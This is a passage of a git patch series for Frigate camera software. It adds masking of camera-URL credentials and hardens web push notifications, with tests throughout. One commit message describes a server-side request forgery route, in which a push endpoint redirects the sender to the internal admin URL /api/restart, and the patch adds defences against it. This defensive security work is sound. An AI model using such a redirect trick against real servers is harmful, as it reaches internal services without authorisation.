), + ): + with self.subTest(name): + resp = client.put("/config/set", **request) + self.assertEqual(resp.status_code, 400) + self.assertIn("credentials", resp.json()["message"]) + + raw, _ = self._read_config_file(config_path) + self.assertNotIn("*:*", raw) + self.assertNotIn(REDACTED_CREDENTIAL_SENTINEL, raw) + finally: + os.unlink(config_path) + + @patch("frigate.api.app.find_config_file") + def test_go2rtc_credentials_redacted_and_round_trip(self, mock_find_config): + self._add_credentials() + config_path = self._write_config_file() + mock_find_config.return_value = config_path + + try: + app, _ = self._create_app_with_publisher() + + with AuthTestClient(app) as client: + response = client.get("/config").json() + body = str(response) + for secret in ( + "rtsppass", + "apipass", + "mqpass", + "ngroksecret", + "19550224", + "streamkey", + ): + self.assertNotIn(secret, body) + + go2rtc = response["go2rtc"] + self.assertEqual(go2rtc["webrtc"]["candidates"], ["10.0.0.5:8555"]) + # browsers need the TURN account to relay WebRTC + self.assertEqual( + go2rtc["webrtc"]["ice_servers"][0]["credential"], "turnpass" + ) + + go2rtc.pop("ngrok") + go2rtc["webrtc"]["candidates"] = ["10.0.0.9:8555"] + self.assertEqual( + self._save(client, {"go2rtc": go2rtc}).status_code, 200 + ) + + raw, saved = self._read_config_file(config_path) + self.assertNotIn(REDACTED_CREDENTIAL_SENTINEL, raw) + self.assertEqual(saved["go2rtc"]["rtsp"]["password"], "rtsppass") + self.assertEqual(saved["go2rtc"]["mqtt"]["password"], "mqpass") + self.assertEqual( + saved["go2rtc"]["homekit"]["front_door"]["pin"], "19550224" + ) + self.assertIn("streamkey", saved["go2rtc"]["publish"]["front_door"]) + self.assertEqual(saved["go2rtc"]["webrtc"]["candidates"], ["10.0.0.9:8555"]) + self.assertEqual( + saved["go2rtc"]["webrtc"]["ice_servers"][0]["credential"], "turnpass" + ) + finally: + os.unlink(config_path) + + @patch("frigate.api.app.find_config_file") + def test_masked_inputs_restore_by_value(self, mock_find_config): + main = "rtsp://u:MAIN@10.0.0.1:554/main" + sub = "rtsp://u:SUB@10.0.0.1:554/sub" + + for name, edit, expected in ( + ("delete first", lambda inputs: [inputs[1]], [sub]), + ("reorder", lambda inputs: [inputs[1], inputs[0]], [sub, main]), + ): + with self.subTest(name): + self._set_inputs([(main, "record"), (sub, "detect")]) + config_path = self._write_config_file() + mock_find_config.return_value = config_path + + try: + app, _ = self._create_app_with_publisher() + + with AuthTestClient(app) as client: + inputs = client.get("/config").json()["cameras"]["front_door"][ + "ffmpeg" + ]["inputs"] + resp = self._save( + client, + { + "cameras": { + "front_door": {"ffmpeg": {"inputs": edit(inputs)}} + } + }, + ) + self.assertEqual(resp.status_code, 200) + + _, saved = self._read_config_file(config_path) + saved_inputs = saved["cameras"]["front_door"]["ffmpeg"]["inputs"] + self.assertEqual([i["path"] for i in saved_inputs], expected) + finally: + os.unlink(config_path) + + @patch("frigate.api.app.find_config_file") + def test_ambiguous_or_unmatched_masked_input(self, mock_find_config): + self._set_inputs( + [ + ("rtsp://u:one@10.0.0.1:554/live", "record"), + ("rtsp://u:two@10.0.0.1:554/live", "detect"), + ] + ) + config_path = self._write_config_file() + mock_find_config.return_value = config_path + + try: + app, _ = self._create_app_with_publisher() + + with AuthTestClient(app) as client: + inputs = client.get("/config").json()["cameras"]["front_door"][ + "ffmpeg" + ]["inputs"] + + # both inputs mask to the same value and roles no longer tell + # them apart + remaining = dict(inputs[1], roles=["detect", "record"]) + resp = self._save( + client, + {"cameras": {"front_door": {"ffmpeg": {"inputs": [remaining]}}}}, + ) + self.assertEqual(resp.status_code, 400) + + inputs[0]["path"] = "rtsp://*:*@10.0.0.99:554/live" + resp = self._save( + client, + {"cameras": {"front_door": {"ffmpeg": {"inputs": inputs}}}}, + ) + self.assertEqual(resp.status_code, 400) + + # roles break the tie when the second input stays as it was + resp = self._save( + client, + {"cameras": {"front_door": {"ffmpeg": {"inputs": [inputs[1]]}}}}, + ) + self.assertEqual(resp.status_code, 200) + + raw, saved = self._read_config_file(config_path) + self.assertNotIn("*:*", raw) + self.assertEqual( + saved["cameras"]["front_door"]["ffmpeg"]["inputs"][0]["path"], + "rtsp://u:two@10.0.0.1:554/live", + ) + finally: + os.unlink(config_path) + if __name__ == "__main__": unittest.main() diff --git a/frigate/test/test_camera_pw.py b/frigate/test/test_camera_pw.py index af4cecbd22..c3697ea6ec 100644 --- a/frigate/test/test_camera_pw.py +++ b/frigate/test/test_camera_pw.py @@ -1,8 +1,13 @@ """Test camera user and password cleanup.""" +import time import unittest -from frigate.util.builtin import clean_camera_user_pass, escape_special_characters +from frigate.util.builtin import ( + clean_camera_user_pass, + escape_special_characters, + is_masked_camera_path, +) class TestUserPassCleanup(unittest.TestCase): @@ -45,3 +50,90 @@ class TestUserPassMasking(unittest.TestCase): escaped = clean_camera_user_pass(self.rtsp_log_message) print(f"The escaped is {escaped}") assert escaped == "Did you mean file:rtsp://*:*@192.168.1.3:554" + + def test_masks_userinfo_and_credential_query_forms(self): + cases = { + "rtsp://first.last@mail.com:p%40w@10.0.0.2/live": "rtsp://*:*@10.0.0.2/live", + "rtsp://user+tag:pw@10.0.0.2/live": "rtsp://*:*@10.0.0.2/live", + "rtsp://:pw@10.0.0.2/live": "rtsp://*:*@10.0.0.2/live", + "tapo://cloudpassword@10.0.0.2": "tapo://*:*@10.0.0.2", + "rtsp://u:p@ss@10.0.0.2/live": "rtsp://*:*@10.0.0.2/live", + "rtsp://user:pa/ss@10.0.0.2/live": "rtsp://*:*@10.0.0.2/live", + "rtsp://u:p@ss#x@10.0.0.2/live": "rtsp://*:*@10.0.0.2/live", + "rtsp://admin:2024/pw@10.0.0.2/x": "rtsp://*:*@10.0.0.2/x", + "rtsp://admin:12#abc@10.0.0.2/x": "rtsp://*:*@10.0.0.2/x", + "rtsp://admin:7?x@10.0.0.2/x": "rtsp://*:*@10.0.0.2/x", + "rtsps://u:1/2@h/x": "rtsps://*:*@h/x", + "rtsp://admin:pre&token=suf@10.0.0.2/x": "rtsp://*:*@", + "rtsp://admin:a?pwd=b@10.0.0.2/x": "rtsp://*:*@", + "rtsp://10.0.0.2:554/live?password=pre@suf": "rtsp://*:*@", + "http://10.0.0.2:88/cgi?cmd=snap&usr=admin&pwd=P@ss": "http://*:*@", + "ffmpeg:http://h:80/flv?user=u&password=p@ss#video=copy": ( + "ffmpeg:http://*:*@" + ), + "rtsp://u:p@10.0.0.2:554/live?token=t": "rtsp://*:*@10.0.0.2:554/live?token=*", + "http://h/x?api_key=a&apikey=b&access_token=c": ( + "http://h/x?api_key=*&apikey=*&access_token=*" + ), + "http://h/cgi?user=admin&password=x": "http://h/cgi?user=*&password=*", + "http://h/cgi?password=x&user=admin&channel=1": ( + "http://h/cgi?password=*&user=*&channel=1" + ), + "http://h/x?usr=a&pwd=b": "http://h/x?usr=*&pwd=*", + "http://h/x?username=a&password=b": "http://h/x?username=*&password=*", + "rtsp://host/live?user=admin&password=p@ss": ( + "rtsp://host/live?user=*&password=*" + ), + "ring:?refresh_token=abc.def": "ring:?refresh_token=*", + "nest:?client_id=1&client_secret=s&refresh_token=t&project_id=p": ( + "nest:?client_id=1&client_secret=*&refresh_token=*&project_id=p" + ), + "homekit://10.0.0.2:51827?client_id=c&client_private=k&device_id=d": ( + "homekit://10.0.0.2:51827?client_id=c&client_private=*&device_id=d" + ), + "exec:ffmpeg -i rtsp://u:p@h/s -c copy -f rtsp {output}": ( + "exec:ffmpeg -i rtsp://*:*@h/s -c copy -f rtsp {output}" + ), + "ffmpeg -i rtsp://u:p@h/1 -i http://h/snap?user=a&password=b -f null": ( + "ffmpeg -i rtsp://*:*@h/1 -i http://h/snap?user=*&password=* -f null" + ), + } + + for line, expected in cases.items(): + with self.subTest(line=line): + masked = clean_camera_user_pass(line) + self.assertEqual(masked, expected) + self.assertTrue(is_masked_camera_path(masked)) + self.assertEqual(clean_camera_user_pass(masked), masked) + + def test_safe_strings_unchanged(self): + for line in ( + "rtsp://10.0.0.2:554/live", + "ffmpeg:front_door#video=copy", + "rtsp://127.0.0.1:8554/front_door?video=copy&audio=aac", + "homekit://10.0.0.2:51827?device_id=d", + "http://10.0.0.1/snap.jpg?email=me@x.com", + "http://h/x?auth=a&author=b&authorization=c&user_agent=d&autoken=e", + "http://h/x?private=1&passthrough=1", + "Camera front_door is not responding", + ): + with self.subTest(line=line): + self.assertEqual(clean_camera_user_pass(line), line) + self.assertFalse(is_masked_camera_path(line)) + + def test_commas_outside_credentials_survive(self): + """ffprobe splits multiple paths on commas left after masking.""" + for line in ( + "rtsp://a/x,rtsp://u:p@b/y", + "rtsp://a:554/x,rtsp://u:p@b/y", + ): + with self.subTest(line=line): + self.assertIn(",", clean_camera_user_pass(line)) + self.assertNotIn(",", clean_camera_user_pass("rtsp://u:p,q@b/y")) + + def test_long_line_masks_in_linear_time(self): + """Log lines run through the mask, so a long one must stay fast.""" + start = time.perf_counter() + clean_camera_user_pass("rtsp://u:p" * 20000) + clean_camera_user_pass("rtsp://" + "a." * 40000) + self.assertLess(time.perf_counter() - start, 1) diff --git a/frigate/util/builtin.py b/frigate/util/builtin.py index 7b93ca8183..83ab6a78ca 100644 --- a/frigate/util/builtin.py +++ b/frigate/util/builtin.py @@ -21,8 +21,11 @@ import numpy as np from ruamel.yaml import YAML from frigate.const import ( - REGEX_HTTP_CAMERA_USER_PASS, + REGEX_CREDENTIAL_QUERY_KEY, + REGEX_CREDENTIAL_QUERY_PARAM, + REGEX_MASKED_CREDENTIAL, REGEX_RTSP_CAMERA_USER_PASS, + REGEX_URL_USERINFO, STREAM_TYPE_MAIN, STREAM_TYPE_SUB, ) @@ -117,9 +120,24 @@ def deep_merge(dct1: dict, dct2: dict, override=False, merge_lists=False) -> dic def clean_camera_user_pass(line: str) -> str: - """Removes user and password from line.""" - rtsp_cleaned = re.sub(REGEX_RTSP_CAMERA_USER_PASS, "://*:*@", line) - return re.sub(REGEX_HTTP_CAMERA_USER_PASS, "user=*&password=*", rtsp_cleaned) + """Mask URL userinfo and credential query parameters in line.""" + + line = re.sub(REGEX_URL_USERINFO, _mask_userinfo, line) + return re.sub(REGEX_CREDENTIAL_QUERY_PARAM, r"\1*", line) + + +def _mask_userinfo(match: re.Match[str]) -> str: + # A credential key in the userinfo means a query password holds "@" or a + # password holds a query key. Neither split is safe, so mask the whole URL. + if re.search(REGEX_CREDENTIAL_QUERY_KEY, match.group(1)): + return "://*:*@" + + return f"://*:*@{match.group(2)}" + + +def is_masked_camera_path(path: str) -> bool: + """Return True if path holds credentials masked by clean_camera_user_pass.""" + return re.search(REGEX_MASKED_CREDENTIAL, path) is not None def escape_special_characters(path: str) -> str: diff --git a/web/e2e/specs/settings/camera-ffmpeg-streams.spec.ts b/web/e2e/specs/settings/camera-ffmpeg-streams.spec.ts index 38b0f5c4a6..845c4d1a5a 100644 --- a/web/e2e/specs/settings/camera-ffmpeg-streams.spec.ts +++ b/web/e2e/specs/settings/camera-ffmpeg-streams.spec.ts @@ -32,7 +32,11 @@ type CameraInput = { input_args?: string; }; -async function installRoutes(page: Page, frontDoorInputs: CameraInput[]) { +async function installRoutes( + page: Page, + frontDoorInputs: CameraInput[], + rawInputs: CameraInput[] = frontDoorInputs, +) { const config = configFactory({ go2rtc: { streams: GO2RTC_STREAMS }, cameras: { @@ -56,7 +60,7 @@ async function installRoutes(page: Page, frontDoorInputs: CameraInput[]) { await page.route("**/api/config/raw_paths", (route) => route.fulfill({ json: { - cameras: { front_door: { ffmpeg: { inputs: frontDoorInputs } } }, + cameras: { front_door: { ffmpeg: { inputs: rawInputs } } }, go2rtc: { streams: GO2RTC_STREAMS }, }, }), @@ -200,4 +204,64 @@ test.describe("camera ffmpeg input source toggle @medium", () => { payload?.config_data?.cameras?.front_door?.ffmpeg?.inputs?.[0]; expect(input?.input_args).not.toBe("preset-rtsp-restream"); }); + + test("a masked path reveals its own saved path after an earlier input is deleted", async ({ + frigateApp, + }) => { + const main = "rtsp://admin:mainpw@10.0.0.1:554/main"; + const sub = "rtsp://admin:subpw@10.0.0.1:554/sub"; + await installRoutes( + frigateApp.page, + [ + { path: "rtsp://*:*@10.0.0.1:554/main", roles: ["record"] }, + { path: "rtsp://*:*@10.0.0.1:554/sub", roles: ["detect"] }, + ], + [ + { path: main, roles: ["record"] }, + { path: sub, roles: ["detect"] }, + ], + ); + await frigateApp.goto("/settings?page=cameraFfmpeg&camera=front_door"); + + const paths = frigateApp.page.getByRole("textbox", { name: "Input path" }); + await expect(paths).toHaveCount(2); + + await frigateApp.page + .getByRole("button", { name: "Delete" }) + .first() + .click(); + await expect(paths).toHaveCount(1); + + await paths.focus(); + await expect(paths).toHaveValue(sub); + }); + + test("inputs with the same masked path each reveal their own path by role", async ({ + frigateApp, + }) => { + const record = "rtsp://admin:one@10.0.0.1:554/live"; + const detect = "rtsp://viewer:two@10.0.0.1:554/live"; + const masked = "rtsp://*:*@10.0.0.1:554/live"; + await installRoutes( + frigateApp.page, + [ + { path: masked, roles: ["record"] }, + { path: masked, roles: ["detect"] }, + ], + [ + { path: record, roles: ["record"] }, + { path: detect, roles: ["detect"] }, + ], + ); + await frigateApp.goto("/settings?page=cameraFfmpeg&camera=front_door"); + + const paths = frigateApp.page.getByRole("textbox", { name: "Input path" }); + await expect(paths).toHaveCount(2); + + await paths.nth(0).focus(); + await expect(paths.nth(0)).toHaveValue(record); + + await paths.nth(1).focus(); + await expect(paths.nth(1)).toHaveValue(detect); + }); }); diff --git a/web/src/components/config-form/theme/widgets/CameraPathWidget.tsx b/web/src/components/config-form/theme/widgets/CameraPathWidget.tsx index 03f6abb9d9..1adec37fed 100644 --- a/web/src/components/config-form/theme/widgets/CameraPathWidget.tsx +++ b/web/src/components/config-form/theme/widgets/CameraPathWidget.tsx @@ -1,5 +1,7 @@ import type { WidgetProps } from "@rjsf/utils"; import useSWR from "swr"; +import get from "lodash/get"; +import isEqual from "lodash/isEqual"; import { useMemo, useState, type FocusEvent } from "react"; import { useTranslation } from "react-i18next"; import { LuEye, LuEyeOff } from "react-icons/lu"; @@ -21,6 +23,7 @@ type RawPathsResponse = { ffmpeg?: { inputs?: Array<{ path?: string; + roles?: string[]; }>; }; } @@ -66,17 +69,35 @@ export function CameraPathWidget(props: WidgetProps) { shouldFetchRawPaths ? "config/raw_paths" : null, ); + const rawValue = typeof value === "string" ? value : ""; + + const roles = + inputIndex === undefined + ? undefined + : get(formContext?.formData, ["inputs", inputIndex, "roles"]); + + // Match by masked value with roles breaking a tie, as the backend restores + // on save, so deleting or reordering inputs never reveals another input's path const rawPath = useMemo(() => { - if (!cameraName || inputIndex === undefined) { + if (!cameraName || !isMaskedPath(rawValue)) { return undefined; } - const path = - rawPaths?.cameras?.[cameraName]?.ffmpeg?.inputs?.[inputIndex]?.path; - return typeof path === "string" ? path : undefined; - }, [cameraName, inputIndex, rawPaths]); + let matches = ( + rawPaths?.cameras?.[cameraName]?.ffmpeg?.inputs ?? [] + ).filter( + (input): input is { path: string; roles?: string[] } => + typeof input.path === "string" && + maskCredentials(input.path) === rawValue, + ); + if (new Set(matches.map((input) => input.path)).size > 1) { + matches = matches.filter((input) => isEqual(input.roles, roles)); + } + + const paths = new Set(matches.map((input) => input.path)); + return paths.size === 1 ? [...paths][0] : undefined; + }, [cameraName, rawPaths, rawValue, roles]); - const rawValue = typeof value === "string" ? value : ""; const resolvedValue = isMaskedPath(rawValue) && rawPath ? rawPath : (rawValue ?? ""); const canReveal = diff --git a/web/src/utils/credentialMask.ts b/web/src/utils/credentialMask.ts index 34f0996a90..a2e0e4e356 100644 --- a/web/src/utils/credentialMask.ts +++ b/web/src/utils/credentialMask.ts @@ -1,40 +1,37 @@ -const MASKED_AUTH_PATTERN = /:\/\/\*:\*@/i; -const MASKED_QUERY_PATTERN = /(?:[?&])user=\*&password=\*/i; +// Mirrors clean_camera_user_pass and REGEX_MASKED_CREDENTIAL in the backend. +const CREDENTIAL_QUERY_KEYS = + "(?:user(?:name)?|usr|login|pass(?:word|wd)?|pwd|(?:[a-z_]*_)?token|(?:[a-z_]*_)?secret|client_private|api_?key)"; +const URL_USERINFO_PATTERN = + /:\/\/((?:[^\s/?#:[\]]*:(?:(?!:\/\/)\S)*|[^\s/?#]+))@((?:(?!:\/\/)\S)*)/g; +const CREDENTIAL_QUERY_KEY_PATTERN = new RegExp( + `[?&]${CREDENTIAL_QUERY_KEYS}=`, + "i", +); +const CREDENTIAL_QUERY_PATTERN = new RegExp( + `([?&]${CREDENTIAL_QUERY_KEYS}=)[^&\\s]*`, + "gi", +); +const MASKED_PATTERN = new RegExp( + `://\\*:\\*@|[?&]${CREDENTIAL_QUERY_KEYS}=\\*(?![^&\\s])`, + "i", +); export const isMaskedPath = (value: string): boolean => - MASKED_AUTH_PATTERN.test(value) || MASKED_QUERY_PATTERN.test(value); - -export const hasCredentials = (value: string): boolean => { - if (!value) { - return false; - } - - if (isMaskedPath(value)) { - return true; - } - - try { - const parsed = new URL(value); - if (parsed.username || parsed.password) { - return true; - } - - return ( - parsed.searchParams.has("user") && parsed.searchParams.has("password") - ); - } catch { - return /:\/\/[^:@/\s]+:[^@/\s]+@/.test(value); - } -}; + MASKED_PATTERN.test(value); export const maskCredentials = (value: string): string => { if (!value) { return value; } - const maskedAuth = value.replace(/:\/\/[^:@/\s]+:[^@/\s]*@/g, "://*:*@"); - - return maskedAuth - .replace(/([?&]user=)[^&]*/gi, "$1*") - .replace(/([?&]password=)[^&]*/gi, "$1*"); + return value + .replace(URL_USERINFO_PATTERN, (_match, userinfo: string, rest: string) => + CREDENTIAL_QUERY_KEY_PATTERN.test(userinfo) + ? "://*:*@" + : `://*:*@${rest}`, + ) + .replace(CREDENTIAL_QUERY_PATTERN, "$1*"); }; + +export const hasCredentials = (value: string): boolean => + !!value && (isMaskedPath(value) || maskCredentials(value) !== value); From 3d3f6a067871897864c7d5a044e6f6564b6d2d22 Mon Sep 17 00:00:00 2001 From: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:55:59 -0500 Subject: [PATCH 11/13] Harden web push notifications (#24715) * reject push endpoints that crash the vapid audience parse The validator accepted hostnames like "." so https://./x passed, and check_registrations then raised ValueError slicing the endpoint, killing the dispatcher's IPC thread. The validator now rejects empty hostname labels and lives in webpush.py, the audience comes from urlparse, and _build_web_pushers skips stored rows whose endpoint fails validation. * keep the ipc thread alive when a handler raises An exception from any dispatcher handler escaped InterProcessCommunicator.read, which only caught ZMQError. The REP thread died owing a reply, so every InterProcessRequestor blocked forever. read now logs the error and replies with an empty response, and Dispatcher.publish and publish_local catch per communicator so one failing communicator can't take down the rest. * stop push sends from reaching internal addresses pywebpush posts through requests with redirects enabled, so an endpoint could answer 307 to http://127.0.0.1:5000/api/restart and the sender would follow it into the internal admin port on every alert. Pushers now use a session that never follows redirects, and each send first resolves the endpoint host and skips it unless every address is global. * keep the previous region grid when the refresh request fails The IPC reader now replies [] when a handler raises, and process_frames assigned that reply to region_grid unconditionally. The next region lookup then indexed into an empty list and killed the camera's detect process. An empty reply now keeps the current grid until the next daily refresh. * drop the send-time public address check Refusing non-global resolved addresses broke Tailscale (100.64.0.0/10), split-horizon DNS and HTTPS_PROXY-only setups, and added little once redirects are no longer followed and TLS verification stays on. * only skip stored push rows that break the vapid audience Running the full registration validator over stored rows dropped self-hosted endpoints registered before 0.18 with a non-443 port or a bare / path. _build_web_pushers now skips only non-dict rows, rows with no endpoint, unparsable endpoints and hosts with empty labels, and the warning names the host so the row can be found. Registration still uses the full validator. --- frigate/api/notification.py | 68 +----------- frigate/comms/dispatcher.py | 14 ++- frigate/comms/inter_process.py | 8 +- frigate/comms/webpush.py | 122 +++++++++++++++++++++- frigate/test/test_ipc_handler_errors.py | 76 ++++++++++++++ frigate/test/test_webpush_registration.py | 102 +++++++++++++----- frigate/test/test_webpush_send_guard.py | 45 ++++++++ frigate/video/detect.py | 7 +- 8 files changed, 341 insertions(+), 101 deletions(-) create mode 100644 frigate/test/test_ipc_handler_errors.py create mode 100644 frigate/test/test_webpush_send_guard.py diff --git a/frigate/api/notification.py b/frigate/api/notification.py index 42efc94c47..e35430cd63 100644 --- a/frigate/api/notification.py +++ b/frigate/api/notification.py @@ -1,10 +1,8 @@ """Notification apis.""" -import ipaddress import logging import os from typing import Any -from urllib.parse import urlparse from cryptography.hazmat.primitives import serialization from fastapi import APIRouter, Depends, Request @@ -13,6 +11,7 @@ from py_vapid import Vapid01, utils from frigate.api.auth import allow_any_authenticated from frigate.api.defs.tags import Tags +from frigate.comms.webpush import validate_push_endpoint from frigate.const import CONFIG_DIR from frigate.models import User @@ -20,76 +19,13 @@ logger = logging.getLogger(__name__) router = APIRouter(tags=[Tags.notifications]) -# Push endpoints are opaque URLs but stay well under this in practice -MAX_ENDPOINT_LENGTH = 2048 - -# Suffixes that only ever resolve on the local network -INTERNAL_HOST_SUFFIXES = (".local", ".localdomain", ".internal", ".home.arpa") - - -def _validate_push_endpoint(endpoint: Any) -> str | None: - """Return a reason the endpoint is unusable, or None when it is valid. - - Subscriptions are issued by the browser vendor's push service, so a valid - endpoint is always a public https URL. Anything else is either a broken - registration or an attempt to aim the notification sender somewhere it - should not reach. - """ - if not isinstance(endpoint, str) or not endpoint: - return "endpoint must be a url" - - if len(endpoint) > MAX_ENDPOINT_LENGTH: - return "endpoint is too long" - - try: - parsed = urlparse(endpoint) - port = parsed.port - except ValueError: - return "endpoint is not a valid url" - - if parsed.scheme != "https": - return "endpoint must use https" - - if parsed.username or parsed.password: - return "endpoint must not include credentials" - - if port is not None and port != 443: - return "endpoint must use the default https port" - - hostname = parsed.hostname - - if not hostname: - return "endpoint must include a hostname" - - try: - address = ipaddress.ip_address(hostname) - except ValueError: - address = None - - if address is not None: - # A push service is never reachable at an address only this network can - # route, so anything non-global is a misconfiguration at best - if not address.is_global: - return "endpoint must not use a private address" - elif hostname == "localhost" or "." not in hostname: - return "endpoint must use a fully qualified hostname" - elif hostname.endswith(INTERNAL_HOST_SUFFIXES): - return "endpoint must not use an internal hostname" - - # The subscription token lives in the path, and webpush.py assumes there is - # a separator after the host when it builds the VAPID audience - if len(parsed.path) <= 1: - return "endpoint must include a subscription path" - - return None - def _validate_subscription(sub: Any) -> str | None: """Return a reason the subscription is unusable, or None when it is valid.""" if not isinstance(sub, dict): return "subscription must be an object" - reason = _validate_push_endpoint(sub.get("endpoint")) + reason = validate_push_endpoint(sub.get("endpoint")) if reason: return reason diff --git a/frigate/comms/dispatcher.py b/frigate/comms/dispatcher.py index f9373c30ee..f0988b5710 100644 --- a/frigate/comms/dispatcher.py +++ b/frigate/comms/dispatcher.py @@ -490,7 +490,12 @@ class Dispatcher: def publish(self, topic: str, payload: Any, retain: bool = False) -> None: """Handle publishing to communicators.""" for comm in self.comms: - comm.publish(topic, payload, retain) + try: + comm.publish(topic, payload, retain) + except Exception: + logger.exception( + "Error publishing %s to %s", topic, type(comm).__name__ + ) def publish_local(self, topic: str, payload: Any) -> None: """Publish to every communicator except MQTT. @@ -501,7 +506,12 @@ class Dispatcher: if isinstance(comm, MqttClient): continue - comm.publish(topic, payload, False) + try: + comm.publish(topic, payload, False) + except Exception: + logger.exception( + "Error publishing %s to %s", topic, type(comm).__name__ + ) def _publish_notices(self) -> None: if self.notice_registry is None: diff --git a/frigate/comms/inter_process.py b/frigate/comms/inter_process.py index c40e53ddb7..c45f94ffc6 100644 --- a/frigate/comms/inter_process.py +++ b/frigate/comms/inter_process.py @@ -50,7 +50,13 @@ class InterProcessCommunicator(Communicator): if isinstance(raw, list): (topic, value) = raw - response = self._dispatcher(topic, value) + + # REP owes a reply, so a handler error must not end the thread + try: + response = self._dispatcher(topic, value) + except Exception: + logger.exception("Error handling IPC topic %s", topic) + response = None else: logging.warning( f"Received unexpected data type in ZMQ recv_json: {type(raw)}" diff --git a/frigate/comms/webpush.py b/frigate/comms/webpush.py index 5f3fb945da..f7267896ed 100644 --- a/frigate/comms/webpush.py +++ b/frigate/comms/webpush.py @@ -1,6 +1,7 @@ """Handle sending notifications for Frigate via Firebase.""" import datetime +import ipaddress import json import logging import os @@ -10,7 +11,9 @@ from collections.abc import Callable, Iterator from dataclasses import dataclass from multiprocessing.synchronize import Event as MpEvent from typing import Any +from urllib.parse import urlparse +import requests from py_vapid import Vapid01 from pywebpush import WebPusher from titlecase import titlecase @@ -41,14 +44,124 @@ class PushNotification: ttl: int = 0 +# Push endpoints are opaque URLs but stay well under this in practice +MAX_ENDPOINT_LENGTH = 2048 + +# Suffixes that only ever resolve on the local network +INTERNAL_HOST_SUFFIXES = (".local", ".localdomain", ".internal", ".home.arpa") + + +def validate_push_endpoint(endpoint: Any) -> str | None: + """Return a reason the endpoint is unusable, or None when it is valid. + + Subscriptions are issued by the browser vendor's push service, so a valid + endpoint is always a public https URL. Anything else is either a broken + registration or an attempt to aim the notification sender somewhere it + should not reach. + """ + if not isinstance(endpoint, str) or not endpoint: + return "endpoint must be a url" + + if len(endpoint) > MAX_ENDPOINT_LENGTH: + return "endpoint is too long" + + try: + parsed = urlparse(endpoint) + port = parsed.port + except ValueError: + return "endpoint is not a valid url" + + if parsed.scheme != "https": + return "endpoint must use https" + + if parsed.username or parsed.password: + return "endpoint must not include credentials" + + if port is not None and port != 443: + return "endpoint must use the default https port" + + hostname = parsed.hostname + + if not hostname: + return "endpoint must include a hostname" + + try: + address = ipaddress.ip_address(hostname) + except ValueError: + address = None + + if address is not None: + # A push service is never reachable at an address only this network can + # route, so anything non-global is a misconfiguration at best + if not address.is_global: + return "endpoint must not use a private address" + elif hostname == "localhost" or "." not in hostname: + return "endpoint must use a fully qualified hostname" + elif "" in hostname.split("."): + return "endpoint hostname must not contain empty labels" + elif hostname.endswith(INTERNAL_HOST_SUFFIXES): + return "endpoint must not use an internal hostname" + + # The subscription token lives in the path + if len(parsed.path) <= 1: + return "endpoint must include a subscription path" + + return None + + +class _NoRedirectSession(requests.Session): + """Session that never follows redirects. + + A push endpoint could otherwise redirect the send to an internal URL. + """ + + def request(self, *args: Any, **kwargs: Any) -> requests.Response: + kwargs["allow_redirects"] = False + return super().request(*args, **kwargs) + + +_push_session = _NoRedirectSession() + + +def _vapid_audience(endpoint: str) -> str: + parsed = urlparse(endpoint) + return f"{parsed.scheme}://{parsed.netloc}" + + def _build_web_pushers(user: str, subs: list[dict[str, Any]]) -> list[WebPusher]: """Build pushers for a user's stored subscriptions, skipping unusable ones.""" pushers: list[WebPusher] = [] for sub in subs: + # Stored rows may predate registration validation, so only skip the + # endpoints that would break building the VAPID audience + endpoint = sub.get("endpoint") if isinstance(sub, dict) else None + + if not isinstance(endpoint, str): + logger.warning( + "Skipping notification subscription for %s: no endpoint", user + ) + continue + + try: + hostname = urlparse(endpoint).hostname or "" + except ValueError: + logger.warning( + "Skipping notification subscription for %s: unparsable endpoint", user + ) + continue + + if "" in hostname.split("."): + logger.warning( + "Skipping notification subscription for %s: invalid endpoint host %r", + user, + hostname, + ) + continue + # WebPusher decodes the stored keys and raises on malformed ones try: - pushers.append(WebPusher(sub)) + pushers.append(WebPusher(sub, requests_session=_push_session)) except Exception: logger.warning("Skipping invalid notification subscription for %s", user) @@ -131,7 +244,7 @@ class WebPushClient(Communicator): for pushers in self.web_pushers.values(): for push in pushers: endpoint: str = push.subscription_info["endpoint"] - endpoints.add(endpoint[0 : endpoint.index("/", 10)]) + endpoints.add(_vapid_audience(endpoint)) # create new claim for endpoint in endpoints: @@ -320,9 +433,8 @@ class WebPushClient(Communicator): for pusher in self.web_pushers[notification.user]: endpoint = pusher.subscription_info["endpoint"] - headers = self.claim_headers[ - endpoint[: endpoint.index("/", 10)] - ].copy() + + headers = self.claim_headers[_vapid_audience(endpoint)].copy() headers["urgency"] = "high" resp = pusher.send( diff --git a/frigate/test/test_ipc_handler_errors.py b/frigate/test/test_ipc_handler_errors.py new file mode 100644 index 0000000000..d78d09cd4b --- /dev/null +++ b/frigate/test/test_ipc_handler_errors.py @@ -0,0 +1,76 @@ +"""Tests that IPC handler errors cannot stall inter-process communication.""" + +import os +import tempfile +import unittest +from unittest.mock import MagicMock, patch + +import zmq + +from frigate.comms.dispatcher import Dispatcher +from frigate.comms.inter_process import InterProcessCommunicator + + +class TestInterProcessHandlerErrors(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.TemporaryDirectory() + self.address = f"ipc://{os.path.join(self.tmp.name, 'comms')}" + + with patch("frigate.comms.inter_process.SOCKET_REP_REQ", self.address): + self.communicator = InterProcessCommunicator() + + self.context = zmq.Context() + self.requestor = self.context.socket(zmq.REQ) + self.requestor.setsockopt(zmq.RCVTIMEO, 5000) + self.requestor.connect(self.address) + + def tearDown(self): + self.requestor.close(linger=0) + self.context.destroy(linger=0) + self.communicator.stop() + self.tmp.cleanup() + + def test_handler_exception_still_replies_and_keeps_reading(self): + def dispatcher(topic, value): + if topic == "boom": + raise ValueError("handler failed") + return value + + self.communicator.subscribe(dispatcher) + self.communicator.start() + + with self.assertLogs("frigate.comms.inter_process", level="ERROR"): + self.requestor.send_json(("boom", None)) + self.assertEqual(self.requestor.recv_json(), []) + + self.requestor.send_json(("echo", "ok")) + self.assertEqual(self.requestor.recv_json(), "ok") + self.assertTrue(self.communicator.reader_thread.is_alive()) + + +class TestDispatcherPublishErrors(unittest.TestCase): + def test_failing_communicator_does_not_block_the_others(self): + failing = MagicMock() + failing.publish.side_effect = ValueError("publish failed") + healthy = MagicMock() + + with ( + patch("frigate.comms.dispatcher.CameraActivityManager"), + patch("frigate.comms.dispatcher.AudioActivityManager"), + ): + dispatcher = Dispatcher( + MagicMock(), MagicMock(), MagicMock(), {}, [failing, healthy] + ) + + healthy.publish.reset_mock() + + with self.assertLogs("frigate.comms.dispatcher", level="ERROR"): + dispatcher.publish("reviews", "{}") + 